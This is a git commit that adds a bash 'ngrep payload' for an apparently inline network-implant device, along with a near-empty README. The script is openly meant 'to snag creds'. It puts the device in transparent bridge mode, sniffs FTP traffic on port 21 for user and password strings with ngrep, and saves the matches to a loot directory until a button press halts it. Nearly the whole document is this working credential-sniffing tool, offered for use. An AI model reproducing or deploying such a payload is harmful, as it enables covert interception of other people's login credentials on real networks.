Added ngrep Payload

pull/23/head
SebSeifert 2017-11-12 13:22:04 +01:00 committed by GitHub
parent 81911c6f11
commit b46d0b8d2d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 81 additions and 0 deletions

View File

@ -0,0 +1,72 @@
#!/bin/bash
# ngrep payload to snag creds
NGREP_OPTIONS=("-wiql" "user|pass" "port" "21")
CONDITION=""
WCNUM=3
LOOT_DIR="/mnt/loot/ngrep"
LOG_FILE="${LOOT_DIR}/ngrep-${RANDOM}.log"
function syncFS() {
while true
do
sync
sleep 5
done
}
function setup() {
LED OFF
NETMODE TRANSPARENT
sleep 5
mkdir -p $LOOT_DIR
}
function checkLog() {
[[ -z $CONDITION ]] && {
grep -qi $CONDITION $LOG_FILE && {
return 0
}
} || {
[[ $(wc -l < $LOG_FILE) -gt $WCNUM ]] && {
return 0
}
}
return 1
}
function run() {
ngrep "${NGREP_OPTIONS[@]}" 2>&1 > $LOG_FILE &
npid=$!
while true
do
NO_LED=true BUTTON && {
checkLog && {
LED FINISH
kill $npid
sleep 3
LED OFF
halt
} || {
LED FAIL
sleep 3
LED OFF
}
}
done
}
[[ ! -f /mnt/NO_MOUNT ]] && {
setup
syncFS &
run
} || {
LED FAIL
}

View File

@ -0,0 +1,9 @@
# ngrep payload
# Description
Does packet sniffing stuff
## Options